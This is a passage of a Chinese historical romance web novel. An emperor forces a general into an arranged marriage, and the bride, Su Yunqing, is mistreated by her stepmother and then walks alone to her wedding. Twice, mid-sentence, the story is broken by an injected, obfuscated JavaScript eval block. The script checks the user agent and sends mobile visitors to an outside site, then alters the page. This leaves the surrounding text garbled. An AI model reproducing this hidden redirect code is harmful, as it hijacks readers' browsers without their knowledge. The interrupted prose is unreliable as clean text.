贺三七沉着脸,袖中攥紧拳头。 李澈:“萧将军功勋卓著,是所有世家子弟之表率。本是想将李尚书之子李甚放你麾下,学习一二。” “奈何,前几日,明翰堂丑事揭露,朕才知他如此顽劣,倒也是死得其所。” 李澈:“杜爱卿!明翰堂一案,可查出了究竟,李甚死因为何?” 杜大人从队列中走出来,躬身答道:“回陛下,仵作验尸,李甚死因为烛台入骨,一击致命。” “噢?”李澈意味深长扫向萧叙,“一个柔弱民女,竟有如此大力,将烛台刺入头骨之中?真是少见。” 他低笑一声,挥手道:“罢了,李尚书现已削官为民,明翰堂日后交由杜爱卿打理。” 杜大人恭敬道:“臣领旨。” 李澈:“李甚死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154463|164901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,朝中倒是还有不少子弟,想为国效力。就是不知萧将军愿意纳几人入麾下?” 贺三七在众大臣间粗略一眼,又将视线定在萧叙身上。 他今日不言不语,又在盘算什么?这又开始塞眼线了,不做表态?! 不过也是,陛下开口,他身边不塞个人是不会善罢甘休。从前能借边关危机四伏处理掉那些眼线,如今天子眼下,处理起来畏手畏脚麻烦得多。 吏部尚书李家,负责官员调度,不知在陛下的指使下,利用官员降职的名义往边关塞了多少眼线。如此便已知晓,吏部尚书是陛下那方的人。回京前先除李家是必然之事,而接下来就是礼部尚书杜大人了。 李甚之死存疑,皇上怕是早已有所猜测。可惜各种李家罪证与“民女”所为,让陛下再无理将帽子扣给萧叙。而萧叙没想深藏,便是想看看下一个塞给他的,又是哪家势力。 大臣面面相觑,无人先言。 萧大将军的脾性大伙都是知晓的,谁敢将自家儿子送去他的麾下?这不是饱受折磨送死,到时死还查不出个死因。 李澈见无人先言,直接开始点名,嗤笑道:“萧将军如此骇人?兵部尚书许爱卿。” 许大人脸色一僵,转眸看向萧叙,却未想到与他的视线撞个正着,紧忙收回,答话:“禀陛下,犬子……他从小身子骨不好,只望做个文官。近日又染了风寒,多日未出府了。” 李澈面色不悦,沉下脸来,目光在大臣间晃过。大殿中鸦雀无声,安静许久,他的指骨在龙椅上有一下没一下敲击着。 萧叙侧是静静赏着这场无人敢应的闹剧。 “陛下……”坐于安车行动不便的北轩王方才开口,就被另一声“陛下”给压了下去。 这时,立于群臣之首的白发老者,走了出来。 “陛下,臣以为,将军为国忧心多年,是该寻一良缘,在京中安定。” 萧叙眉骨微搐,猛然望过去,显然连他也未料到内阁首辅张远达来了这么一出! 李澈闻言,眸光一闪,又再次耐人寻味托起腮来,注视着萧叙。 贺三七见状不对,心中暗道不妙! 这又是玩哪出?!是想将萧叙永困于此?还是想让他留有把柄拽在京城,就算日后出兵,也逃不过李澈的掌心? 张远达还真是会给李澈出谋划策! 贺三七急忙上前为萧叙开脱,“陛下,将军一心为民,暂无娶妻念想。” 李澈斜过眸,“你是萧叙?替他答?” “朕以为,元辅说的不错。”他扬起嘴角,“表弟今年二十六有余,旁人这个年纪,孩都有不下两个了,而你还是孤家寡人,确实该寻一良缘。” “陛下!”贺三七正欲上前半跪,萧叙及时托住他的胳膊,制止了他。 李澈讥笑调侃道:“萧将军英姿飒爽,不知赢得京中多少女子芳心。” 大臣们一个个恨不得把头埋进肚子里。这下好了,不送儿改送女了。 李澈:“不知元首认为哪家姑娘配得上我大靖的骠骑将军,镇远侯。” 张远达:“听闻苏大人嫡女与将军年纪相仿,苏大人近些年在京可是百姓闲余饭后的一段闲话,为嫁女愁破了脑袋。” “苏爱卿近些年尽职尽责,倒也是个不错之选。苏家之女年方二十,与表弟很是相配。那朕便做主,赐了这门婚事,三日后完婚。”李澈龙颜大悦,大手一挥,吩咐道:“赵公公!为这门喜事,赠礼。” 苏大人面露难色,听着旁人贺喜,却站定原地,不知如何是好。 赵公公见状,提醒道:“苏大人,还不谢恩?” 苏大人只好硬着头皮,上前谢恩。 李澈又将目光对准了萧叙,“表弟,对这门婚事不认同?” 萧叙忽然低笑一声,上前道:“谢过陛下。” 贺三七满脸愕然:“???” 玩呢?真成婚啊?三日后?!啊? 5. 又见(5) 长街之上,苏云青穿行于熙然人群,正欲前往杜府再查一番,忽感背后有双眼睛紧盯着自己。 她骤然回首,还未看清人,头纱被人猛地一扯,飘荡在空。她那张未加遮掩的面容瞬间暴露在外。 “苏云青!!!”一道尖锐的妇人声音刺入耳中,“果真是你!” 眼前站着一位莫约六十来岁的嬷嬷,双手叉腰,横眉竖眼,身着一件绣工精细的厚绒长衫,一瞧便知是个大户人家的管事。她的双眼几乎瞪出眼眶,手指无礼直点苏云青额头。 这嬷嬷正是她继母的贴身仆从,平日在府里狐假虎威,目中无人,如今横到街上来,可无人惯着她。 苏云青眉头一皱,毫不留情不给颜面,抓住她的手,反方向一拧,疼得刘嬷嬷龇牙咧嘴。 “刘嬷嬷,目中无人也要有个限度,你不过是个下人。” 刘嬷嬷愣在原地,一时未反应过来,这番话从素来性情温和,往日唯听是从的苏云青口中说出,像被夺了舍,叫人不可置信。 刘嬷嬷不过短暂一滞,随即再度蛮横,气势汹汹喝道:“三日不归府,不问安,不敬茶!苏府教你的礼仪被你吃了!” 苏云青懒得与她纠缠,一把甩开她的手,“嬷嬷还是先管自己的好,免得哪日祸从口出,让人割了舌头。” “苏云青!”刘嬷嬷大步追上前,在背后尖声辱骂,“在明翰堂待了一年,让你忘了礼数?还是让你心高气傲,真以为认两个字,就是苏家大小姐?!你是什么身份,你自己知晓!我看你和近日传闻的民女没什么两样!不过是为多找个人家,不惜献身供人玩乐的花娘!看你穿的什么丢人现眼的衣服!” “啪——!” 响亮的耳光狠狠甩在刘嬷嬷脸上,直将人脑袋扇歪过去,渗出丝丝血迹。 刘嬷嬷被打得脑袋发懵,捂着脸傻住了。 苏云青跨步上前,碎发随风拂过她柔和清冷的面容,“刘嬷嬷,人死过一次,便将万事看淡。你若是不想要这条舌头,今日,我不介意做件好事,帮你割了它。” 刘嬷嬷完全听不明白她前半句话之意,更不明白,从前任她拿捏的苏云青,今日怎变得如此伶俐。 她的脸上仿佛被沸水泼浇,火辣辣的疼再受寒风一吹,如刀割肉,疼得她倒吸一口凉气,怒火更胜。 “把她给我抓起来!”刘嬷嬷一声令下,跟在她身后的几个侍从立即上前围困苏云青,不等她反应,便牢牢钳制住她的双手。 刘嬷嬷扬起手,作势要挥下去。 苏云青:“嬷嬷敢吗?毁了我爹的仕途,我倒是好奇,夫人能不能护住你?!” “大庭广众之下,让人目睹苏家真实的‘礼法’,是何‘礼’又是何‘法’。” 苏爹为了攀附权贵,挤破脑袋往上爬,最想摆脱那层杂役的外衣,最在乎的就是颜面。苏府所有女眷和奴仆要求,向来是装也要装得端庄得体。 这一倒反天罡,下人教训主子的巴掌若是挥下去,毁得可不止苏家的名声,还有刘嬷嬷这条老命。 热闹的街道,很快围拢一圈看戏之人。 “苏云青?” “那个婚事频频遭退的苏家名人?往日只闻其名,不见其人,今日我上街买豆腐,倒是碰上好戏了。” “哈哈哈哈哈,苏家整日急切‘卖女’,谁人不知?苏大人指望靠女儿出嫁升官发财呢!” 众人议论嘲讽之声,令刘嬷嬷手僵在半空,忍着口气硬生生放下。 “苏大小姐身姿婀娜,面如白玉,怎得就‘卖’不出去了。”一个矮瘦的男子上下打量着苏云青,语气轻佻,“现在京中还有谁敢娶她?不过,我倒是喜欢,五百两,我收回家中如何。” 旁边妇人听不下去,翻了个白眼,讥讽道:“你什么东西?回家去茅屎坑蹲两个时辰吧,别在这丢人现眼。” 刘嬷嬷一听退婚的事就来气,不敢打,还不能借夫人名义骂上两句? “苏云青!夫人已经知晓,你为何屡遭退婚。你竟做出这等匡人之事,早些回府认错!不然,你这张脸是真想留疤,倒时也不用费心思化了!你若不是有点姿色,也不至于让你去哄着李家公子。做不了正妻做妾室,也算对得起苏家对你养育之恩!” 苏云青冷笑一声,“李家?杜大人正在调查与明翰堂案有牵连的人,你们是看他孤独,想给他陪葬?” 刘嬷嬷脸色铁青,反应过来李家近况,自己说错了话,顿时恼羞成怒道:“把她给我带回去!” 苏云青奋力反抗,却抵不过侍从的劲,被拖进巷子里套上麻袋,以免引人注目,随后被丢回苏府。 …… 苏府大院。 她被重摔在地,腰骨撞在石头上,吸口气都是钻心的疼。 头上的麻袋被人粗暴扯下,紧接着,一记响亮的耳光毫无意外甩在她的脸上。 刘嬷嬷揉着手腕,眼底满是得意,“这口恶气可算出了!” 苏云青双手被麻绳捆绑,她转过眸子,溪亭中,雍容华贵的妇人化着流畅轻扬的细柳眉,细长的手指理了理发簪,平静端杯抿茶。 苏家现夫人,柳晴柔。 刘嬷嬷毕恭毕敬走到柳晴柔身旁,“夫人,这丫头跑在外头丢人现眼,都不打算回府了,幸好我带人找了一圈,才把她逮住。” 柳晴柔淡淡瞥她一眼,取下只银镯子放到刘嬷嬷手中作为加赏。随后她放下茶杯,甩了甩裙摆,起身走到苏云青面前。 “我让老爷送你去明翰堂,是为了巴结李家公子,不是让你去识字、涨学识,连家都不回。”柳晴柔用力捏住苏云青的下颚,尖锐的指甲嵌入她的皮肉,压出几道红印。 她掰过苏云青方才被打的脸,瞧了一眼,随后把人甩开,用帕子擦拭手指。 “苏家养你十多年,你就是这么报答苏家的?让你找个人家嫁了,你居然化个花脸与其他公子见面,害人前来退婚。苏云青,你是不是活腻了?你让苏家颜面往哪搁?” 柳晴柔上下扫她一眼,嫌恶道:“穿一袭舞女的衣裳,也不见你得哪家公子青睐。大摇大摆上街,真是丢人现眼。” 苏云青闷声低笑,声音虽轻,却带着刺骨凉意,“柳晴柔,你是怎么入的苏家,你心里清楚。” 她到死前不久才查清母亲死亡真相,她后悔,没让柳晴柔一起陪葬。 柳晴柔脸色一沉,细眉微挑,挺直身子,竖起手来,瞧着阳光下自己保养光滑亮泽的指尖,淡笑道:“你什么意思?” “我什么意思。”苏云青抬起头来,“攀附权贵,你的伎俩,还是一如既往拙劣。若那些公子真如你说的那般好,你怎么不把自己女儿嫁过去?” “你想用我的命,换取荣华富贵,用我的命给你的女儿开条路?” “我告诉你,妄想。” 她的声音冷冷淡淡,却如寒冰渗人。 柳晴柔:“苏云青,你离家不过一年,这是要蹬鼻子上脸,踩到我头上?那我便告诉你,只要我在一天,我就还是苏家的主母!” 苏云青:“苏家?有我那个爹在,你才叫苏夫人。” 她低声嘲讽道:“柳晴柔,你这么急着把我赶出去,无非是怕有天苏府没了你的位置,你将无处可去。我那个风流爹,怕是几月没回家了吧?柳晴柔拆散别人家庭是要遭报应的,你、你们,谁都妄想躲过这场,报应。” 一字一句咬紧‘报应’二字。 似戳中了柳晴柔逆鳞,她嘴角的笑僵住,道:“伶牙俐齿,刘嬷嬷!” 刘嬷嬷听见柳晴柔的呼唤,立刻冲上前来,一把揪起苏云青的头发,一脚踹在她的肚子上。 “咳——!”苏云青闷哼一声,霎时疼得蜷缩起身子,倒在冰冷的鹅卵石上发抖。她目光似冰死死‘咬住’柳晴柔,嘲笑着,继续激怒她,“柳晴柔,我爹可否有见过表面温婉似水的柳夫人,是何恶毒之态?” 柳晴柔最在意她在苏父苏济眼中温婉贤淑的形象,是做苏家主母的不二人选,这么多年,也就她装得不累。这是她唯一能抓住苏父心思的筹码,可惜这么多年,苏济对她早失了兴致。留她在苏家,无非因苏家需要一个掌家主母,能对外维持苏氏一族的体面。 她是如何爬上的这个位置,想必日夜担忧,会被人以同样的方式取代。 苏济常年不着家,但今日与前世苏云青结课回府时间相同,苏济这个时辰也该到家了。 苏云青拽紧捆在手腕上的麻绳,仿佛做好再被毒打一顿的准备。她掀起眸来,“柳晴柔,就是不知,倒时的你,要以同样的方式,再次去攀附哪家公子,谋条生路?” 这话果不其然戳中柳晴柔不愿提及的不堪过往,两条细眉瞬间扭曲,她眼神变得犀利,抬手抽出发间的簪子,攥在手中。 “苏云青,你目无尊长,今日我便替你爹教训你。” “刘嬷嬷,把她给我压住。” 刘嬷嬷忙着邀功呢,在苏云青方才挨过巴掌的脸上,又打了一巴掌,左脸肉眼可见红肿起来。 柳晴柔将簪尖抵在她的脸上,气势十足,临到动手刹那理智回归,让她止住了手。 “苏云青,你不是喜欢在脸上弄些疤吗?不如我帮你。” 苏云青定定看着柳晴柔,眼底没有丝毫畏惧,倒有一股同归于尽的狠意。 柳晴柔被她这副倔样,气得牙痒。苏济虽睁一只眼闭一只,但苏云青真要有个三长两短,她就算不赔命,也要搭进去半条命。 怕谁来谁。 “你们在做什么!”苏济的声音忽然在院门前响起。 柳晴柔手中一惊,簪尖意外在苏云青脸上划出一道血痕。 滚烫的血液顺着苏云青白皙的脸颊滴落在地。她扬起眼角,透亮的眸子带着笑意,注视着柳晴柔。 柳晴柔身子僵在原地,而后发簪在指间一转,若无其事钗回发端,她转身笑道:“老爷回来了。” 苏济已快步走到跟前,脸色尤为难看,强压怒气,问道:“夫人,这是在做什么?” 柳晴柔见苏济身边还跟着一人。那人一袭精绣牡丹纹的长袍,气度不凡,一瞧便是宫中当差的人。 她的眸色沉下,顿感不妙,温和笑问:“老爷,这是……” 苏济道:“这是陛下身边的赵公公,还不行礼问好?” 柳晴柔连忙躬身行礼,“赵公公安好。” 她未上前行礼,怪异的行为引得苏济怀疑。 苏济蹙眉,冷声问:“你们两个挡这么严实作甚,让开。” “老爷……”柳晴柔想打发过去,却被苏济一记眼刀掷来,逼得哑了声。 她只得往旁移了两步。 苏云青从她退开的间隙中,缓缓抬起眼来,目光平静地看向赵公公,以及那些抬礼箱入府之人。 今儿这场戏,观客倒是意外的多。 苏济瞧见苏云青狼狈的模样后,太阳穴猛跳不止,怒火难以抑制。 苏云青跪坐在地,双手捆在身后,头发凌乱,脸颊红肿,鲜血淋漓。 再如何,苏云青在外也是苏家嫡女!闹出这般动静,还被宫中之人瞧见了!这是把他苏济的脑袋往别人刀刃上送! 赵公公手握圣旨,似笑非笑对苏济道:“苏大人府中这般热闹呢?” 苏济挤出一抹笑容,“让赵公公见笑了,家中琐事。” 赵公公挑眉道:“噢?家中琐事?” 他对属下使了个眼色,属下急忙上前为苏云青解开手腕处的麻绳。 赵公公睨视柳晴柔一眼,直截了当道:“早前有所耳闻,苏大人发妻知书达理,温婉贤惠。” 苏济面露尴尬,解释道:“发妻已故多年。小女近日犯了错,夫人她……” 赵公公冷哼一声,不再多言,径 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154464|164901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直走到苏云青身前,“苏家嫡女,苏云青,接旨。” 他展开圣旨,声音庄重洪亮,“奉天承运皇帝,诏曰:苏氏嫡女,苏云青,温婉贤淑,德容兼备,年方二十。萧叙,镇远侯也,功勋赫赫,年二十有六。二人年貌相当,才德相配,乃难遇良缘,天作之合。特赐苏氏之女苏云青为萧叙之妻,于三日后完婚,以成佳偶,以彰国礼。钦此!” 苏云青跪地叩首,恭敬道:“臣女叩谢陛下隆恩。” 赵公公将圣旨奉到她的手中,又取出方帕,为她拭去面容上的血迹,扶她起身,“苏小姐日后便是侯府夫人了,咱家在此先恭喜夫人新婚大喜。” 柳晴柔指甲深钳掌心血肉,渗出鲜血,却是不露神色依然玉立一侧。 赵公公侧首对苏济道:“苏大人,苏大小姐是陛下亲赐给萧将军的发妻。今日之事,是不是该有个交代?还是说,苏家目无侯爷,目无陛下。” 苏济慌忙躬身,额间冒出冷汗,“绝无此事!臣自会给陛下与侯爷一个交代。” 这时,刘嬷嬷“扑通”一声跪下,一人担下所有罪责,“是、是我……是我伤了苏大小姐,是我自作主张。方才……方才,夫人是,是来阻止我的,都是我一人的错。” 她一巴掌甩在自己脸上,力道比打在苏云青脸上时更重。连甩了三掌,清脆的巴掌声回荡在安静的院子里。 柳晴柔不辩解也不多言,只带着丝淡笑,端庄静站。 赵公公:“刘嬷嬷是苏夫人的人?” “回公公,嬷嬷是我的人。” “不知夫人如何给个交代?” “嬷嬷对云青不敬,按苏府家法,该打五十板子以示惩戒。” 赵公公摆手,示意随从把赐给苏府的礼放下,负手转身道:“侯府夫人还未踏出院子,就在自家伤了脸。苏大人,想必您得想想,如何给侯爷一个交代。” 苏济毕恭毕敬送赵公公出府,连连点头,道:“是、是,我自会查明,给侯爷一个满意的解释。” 他回头变了神色,对府里侍从厉声道:“把刘嬷嬷拖下去打五十大板!哪只手伤了大小姐的脸,给我狠狠打折!” 苏济快步跟上赵公公,从怀里掏出一锭金子,悄摸塞入他手中,“公公,今日之事还望见谅。出了苏府……就……全当不知,可好。侯爷若是问起来,我一人担责,自会去赔个不是。” 他顿了顿,补充道:“今日陛下赏赐了一对琉璃对花瓷,虽不算稀世珍宝,但其市价公公是知晓的。明儿我派人当了,换成碎金叶子,全给公公送去,还请笑纳。” 赵公公拂尘往臂弯一甩,“苏大人,胆子还真大啊。那可是陛下赐婚赏的随礼。” 苏济抹了把额汗,点头哈腰道:“陛下既赏给了苏家,臣自是有权分配,犒劳公公是应该的。公公放心,这事我一人担着,绝不会牵连到公公头上。” 赵公公不拒绝也不点头,只意味深长道了一句,“赏苏家之物。” 分明是赏苏大小姐之物。 他沉笑一声,没纠正,仰头离去。 苏济目送他走远,憋了一肚子的火气,转身让人把府门关上,怒气冲冲杀回院子里。 刘嬷嬷还跪在原地。 他大步走过去,一把扯走刘嬷嬷袖子里露出的银镯,随后停在柳晴柔面前,将手中的东西往她脸上一砸,反手甩了她一巴掌。柳晴柔被打歪过去,头上夸张的发簪‘啪啦’掉了一地。 柳晴柔心中一颤,随即低笑一声,捂着伤回过头来,余光忽然瞥见苏云青的影子。 苏云青不知何时,在她愣神想对策之际,已经坐在了亭子下。虽衣发凌乱,但神情却如胜利者般从容。她轻轻晃动翘着的二郎腿,慢条斯理端杯饮茶,抿了两口,观赏院子里的闹剧,淡淡扬起染血的唇角。 柳晴柔把目光放回苏济身上,下意识往他领口望去,果然发现藏在里面暧昧不清的红印,心底的苦涩与脸庞的刺痛,涌上眼眶,泛了红。 “老爷可有算过几月未回过苏府了?” 苏济无视她的询问,火气攻心,扫苏云青一眼,又看向跪地一动不动的刘嬷嬷。心中顿时明了,苏云青这些年在他见不到的地方,是如何被柳晴柔一手遮天地折磨,甚至连个下人都能对她蹬鼻子上脸!连他这个苏家之主,说话都没了威严,那几句惩罚,仿佛不作数的狗屁空话,只以为是吓唬人的把戏! 他冲下人吼道:“愣着做什么!把刘嬷嬷拖下去!打五十大板!哪只手扇的巴掌,打断哪只手!” 刘嬷嬷顿时傻了眼,连连跪着爬向苏老爷,拽着衣摆,哭喊道:“老……老爷!我这一把年纪,五十大板下去,不死也废了啊!日后……日后我还如何伺候夫人……” 苏济抽回衣摆,一把甩开她。 下人们拖手拽脚把刘嬷嬷摁上罚板。 “老爷!老爷!”刘嬷嬷声音凄厉。 “把她的嘴给我堵上!” 苏济转头看向柳晴柔,昔日欢喜早已烟消云散,只剩厌恶,道:“你真是好本事!平日让你知礼教礼,做出大家风范!你倒好,差点把苏家玩死!” 他说完,拂袖离去,懒得多看她一眼。 柳晴柔望着他离去的背影,心里清楚,他要去找其他女子排解心中烦闷了。 苏济从溪亭路过,缩起的眼眸与苏云青的冷眼对上,他微怔,别过头去,一声未言,仿佛置身事外与他无关,撇下烂摊子,大步走了。 苏云青握茶杯的手背抵在额头,无奈低首,嘴角勾起嘲意。杯底的暖意在额间蔓延,她默然片刻,昂起头来,冷漠盯着院子里受罚的刘嬷嬷,与仍然端着仪态看向她的柳晴柔。 她不紧不慢给自己又添了一杯热茶暖身。 苏济一句话不说,不过是关起门来,把她丢给柳晴柔处置罢了。 她的浪荡爹,依旧如故……薄情无义。 6. 又见(6) 苏济前脚刚走,刘嬷嬷立即从罚板上弹了起来,一边哀嚎一边将那些下人挨个指骂一遍。 果然,又是如此,惩戒不过是做做样子。 柳晴柔仰起头,指腹轻拭湿润的眼角。忽见一道红影从眼前掠过,紧接着,一声清脆的板子声响起,随后刘嬷嬷凄厉的惨叫,响彻在院子里。 柳晴柔霎时愣住,抬头一看。苏云青手里拿着长棍,一棍敲断刘嬷嬷指人谩骂的右臂。 周围那些被刘嬷嬷责骂到埋头的下人,全部呆住,木然地望着苏云青出乎意料的举动。 刘嬷嬷捂着右臂,疼得冷汗直冒。 苏云青随手把棍子往柳晴柔脚边一丢。 柳晴柔不甘示弱,嗤笑道:“苏云青,侯府夫人。我苏府可得伺候好你,万不能让你出半点差池,免得我们掉脑袋。” 她命令道:“来人!‘送’苏大小姐回房,好好养伤,三日内不许踏出屋门半步!” 偌大的苏府,苏云青的屋子缩在不起眼的柴房旁,甚至不及柴房半大。陈设简陋,家具蒙灰,无人打理。好在她的房间有一扇小窗,能透过窗瞧一瞧外头。 她随意收拾了下屋子,打来一盆清水,洗去脸上污垢,闲坐窗前。 不过一个时辰,安静的院子突然又喧闹起来。 “娘!你和嬷嬷身上的伤是谁干的!”一道少年愤愤不平的声音响起。 苏云青抬眼望去,透过旁屋遮挡的缝隙,隐约能见苏长越在院子里来回踱步的身影。 “这个苏云青现在胆子大了!竟敢对你们动手!”苏长越说着撸起袖子,要杀到苏云青的屋子里来。 柳晴柔扯住他的胳膊,“你和你长姐计较什么?她现在可是侯府夫人,要得罪也不是现在。” “娘,你们伤这么重……嬷嬷手都断了。”苏长越憋着一股气。 刘嬷嬷惊天动地的痛喊传出屋子,大夫正为她接骨。 柳晴柔:“娘这是……你爹罚的……” “爹?他回来了?”苏长越眸光亮起,但很快又黯淡下去,“他现在……俸禄往家里拿的越来越少了。” 苏长越身后跟着一个比他年纪稍小的姑娘,从他身后冒出头。 她关切问道:“娘很痛吗?” 柳晴柔摇摇头,“无碍。你爹说,这些是陛下给你姐赐婚赠给苏家的礼。” 苏长越:“赐婚?她可算是攀上了高枝,哪家公子?李甚不是死了?” 柳晴柔:“今日凯旋归京的萧大将军。” 苏长越不屑道:“萧将军?!她‘卖’都没卖对地方,真是没用。” 苏欢雪对他们的话漠不关心,只对那些打开的礼箱感兴趣,她叉着腰,踢了脚礼箱,“这么说来,这些东西都是我们的了?娘不会要给她准备嫁妆吧?” 苏长越:“给她嫁妆?她要什么嫁妆,苏家待她不薄,养她这么多年,难道她还想从家里带走东西送别人不成。” 他们的对话一字不差传入苏云青耳中,苏云青百无聊赖听着。 苏家待她不薄?若不是这张脸对他们有点作用,她怕是早被逐出府了。按他们所言,真正的苏家大小姐该是苏欢雪,而她,倒还占了苏欢雪的位置。 真是可笑。 苏云青自嘲地冷呵一声,瞧着他们把那几箱珠宝、瓷器、绸缎瓜分得一干二净。 “娘,这粉缎子真好看!我今日与哥哥在外头逛了一天,也没见到心仪的衣裳。这个太好看了,明日我让他们给我做件新衣裳,祖母寿辰那日穿上。” 苏欢雪在箱子里翻找,时不时将珠宝、绸缎比在身上,询问旁人是否好看。她的步伐欢快,遇见喜欢的东西,会不自觉转个圈,仿佛做成漂亮裙子的绸缎,随她飘舞。 “这个镯子适合娘。”她从箱子里翻出只金镯子,戴在柳晴柔手腕上。 苏云青沉默坐在狭窄的窗边,窥视他们的日常。从白日到黑夜,再到月亮高悬,洒下满地银霜,她依旧安静坐着,仿佛与世隔绝,感觉不到半点饿意。 …… “苏云青,你还不起床梳洗,等谁来伺候你。” 苏云青尚在睡梦中,急促的敲门声将她吵醒,她才朦胧睁眼,一个婢女无礼冲进屋子,嫁衣往她头上一丢。 她微微蹙眉,把嫁衣从头上拎下来,握在手里摩挲两下,柔软光滑,确实是个好料子。 他们瓜分陛下赏赐的随礼,居然还知道给她留嫁衣和一顶发冠,真是难得。 苏云青起身套上嫁衣,随意洗漱后坐在桌子前,为自己梳妆。她透过碎裂的镜子瞥了眼婢女,“芳兰,看来你是我的陪嫁丫鬟了。” 芳兰满脸不情愿,把今日的药膏与白粥,连带托盘往她面前一甩,粥洒了半碗出来。 苏云青不慌不忙盘着发,顺洒出的白粥看向斜倚在门框前抱臂的人,粗略扫过一眼,又继续为自己插上发簪。 “萧将军常年驻守边关,刀光剑影,有时一刀下去,比多言两句废话来得畅快。” 芳兰听得云里雾里,“你什么意思?” 苏云青简单盘好发髻,戴上金灿繁杂的发冠,整个人顿时显得高贵不可侵犯。她盯住芳兰,红唇轻启,“我在提醒你,婢女,只是婢女。” “柳晴柔让你时刻监视我,与我一同入侯府。那你就该知道,侯府,不是你我能放肆的地方。亦不是你一个婢女甩脸猖狂的地方。我不会在乎,你的生死。” 她端起那碗半凉的粥,慢慢喝进肚子里,又拿起药膏,抹上脸颊未褪的伤疤。 芳兰目光躲闪,抿唇不言。 苏云青整理好一切,指尖在桌面轻敲,“现在,把桌子收拾干净。” 芳兰沉着张脸,不动。苏云青也不催促,陪她端坐在那,看着洒出的粥水缓流向一旁的盖头。 屋子里,气氛无形中僵持着。 苏云青一动不动,似乎一点也不在意那粥水会弄脏盖头。 就在粥水即将碰触到盖头时,芳兰终于待不住了,急忙抽出自己心爱的帕子,将粥拦了下来。 苏云青静静地看着她,直到芳兰开始将桌子粥收拾干净,她才拿起盖头,盖上发冠。 芳兰瞧着自己手中变得黏黏糊糊的帕子,心如刀割。 盖头厚实,挡住苏云青的视线,看不清前路。 苏云青伸出手,示意芳兰扶好自己。 芳兰再不情愿,将军府来接亲的人也快到了,她只得伸出胳膊挨在苏云青手心,搀扶她。 苏云青跨出门框,淡声道:“白粥无油,清水能洗。” 芳兰咬紧后槽牙,没有吭声。 这几日,芳兰为苏云青送粥,特意没在粥中放一滴油,想让她挨不了多久饿得难受。 她的心思被苏云青看得明明白白,这是在警告她,那些把戏根本入不了苏云青的眼。 苏家众人皆感到奇怪,从前苏云青虽然倔强,但她也只能依附苏家而活,只要不太过分,她基本不会反抗,很好掌控。可这次回来,像是变了个人,稍有半点不顺意之事,便立即加倍奉还。 苏家虽不喜欢苏云青,但如今她身份已不同往日。将军府的婚事,即便是走个表面过场,苏家也得早早在府门前侯着,准备送亲。 苏家奴仆和家主静候在门前,看着芳兰搀扶苏云青缓步而来。 苏云青的身影格外耀眼,大红锦缎的嫁衣瞬间吸引所有人的目光。晴阳下,金线勾勒的云纹宛如流水般鲜活。珍珠装饰与盖头边镶嵌的金苏,随她轻盈的步伐,轻轻摇曳。 来到府门前,周围早已围上一群笑脸盈盈看热闹的百姓。 “这回,苏家可是攀上了当今大靖最尊崇至极之人,风光无限啊!” “圣上亲自赐婚,也不用愁着如何嫁女了,当真是可喜可贺。” 外人眼中,这是一场极好的喜事,唯有苏家人,面露尴尬。 小雪飘落,苏云青衣着单薄,站在府门前等待接亲队伍的到来,然而,等了足足一个时辰,吉时已过,街头仍不见接亲队伍的影子。 “这是……怎么回事?”众人面面相觑,很快便明白了,两家地位悬殊,萧将军对这门婚事极为不满,对未过门的夫人更是不给半分情面。 大靖的婚礼习俗,新娘会随嫁妆一同侯在家门前,而新郎侧是游街洒喜,告知所有人这份喜事,并在吉时前抵达新娘家,接正妻入轿。然而,将军府却毫无动静,仿佛这场婚事是个空谈。 苏云青始终不语,立在门前。小雪落在喜服上,留下浅淡的印记。 若是在这守一日,苏家脸还往哪搁,眼下只能找辆马车将她送去将军府。嫁给萧叙本是无奈之举,但将军府地位显赫,原本还能借御 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周边百姓不免发出一阵唏嘘。苏济等人坐在马车里,混在人群中,抱怨道:“真是丢人现眼。” 苏欢雪:“真要让姐姐这样走过去?” 苏长越:“她自己要走,就让她自己走,又没人逼迫她。难不成要我们找马车给她送去?坐实苏家贴着脸‘卖女’的传言?她现在自己走,所有的一切都是她自愿的,大伙只会说是她自己恨嫁,萧叙羞辱的便是她一人。” 这一路走下来,穿行将近十条街,苏云青步伐依旧不快不慢,信步闲庭、从容不迫。 苏云青尚有盖头遮挡,但芳兰却是暴露在大庭广众之下,脸上渐渐挂不住了,她停下了脚步。 苏云青察觉她的停顿,“怎么不走了?” 芳兰难堪低下头道:“苏云青,我们已经走了十多条街了,你还嫌不够丢人吗?” 苏云青:“停在这里,才叫丢人。” 芳兰反驳的话哽在喉咙,转头看向苏府的马车,没有丝毫接她们上车的意思。 苏云青:“带路。” 芳兰不情不愿继续带她往前走。 苏云青思绪飘到上一世大婚,那时,她同样在苏府等了几个时辰,连看笑话的李甚都到了,萧叙却始终没出现。甚至最终来接亲的也不是萧叙,而是代接的贺三七。 这次,已经过了当时贺三七来的时辰。她知萧叙暂不会轻举妄动抗旨拒婚,他会在今日接她入门。但,今日的最后一个时辰,也算是今日。看来,明翰堂那身红衣与打乱他计划的事,让他记在了心里,势必要在入府前挫去她擅作主张的性子。 忽然,街头出现一支迎亲队,骏马铁蹄踏雪而来,声势浩大。 芳兰终于舒了口气,“迎亲队来了!” 高大的马匹停在苏云青面前,贺三七眉峰一挑,饶有兴趣地看着走过数条长街的苏云青,语气带着几分戏谑与赞赏。 “夫人好魄力。” 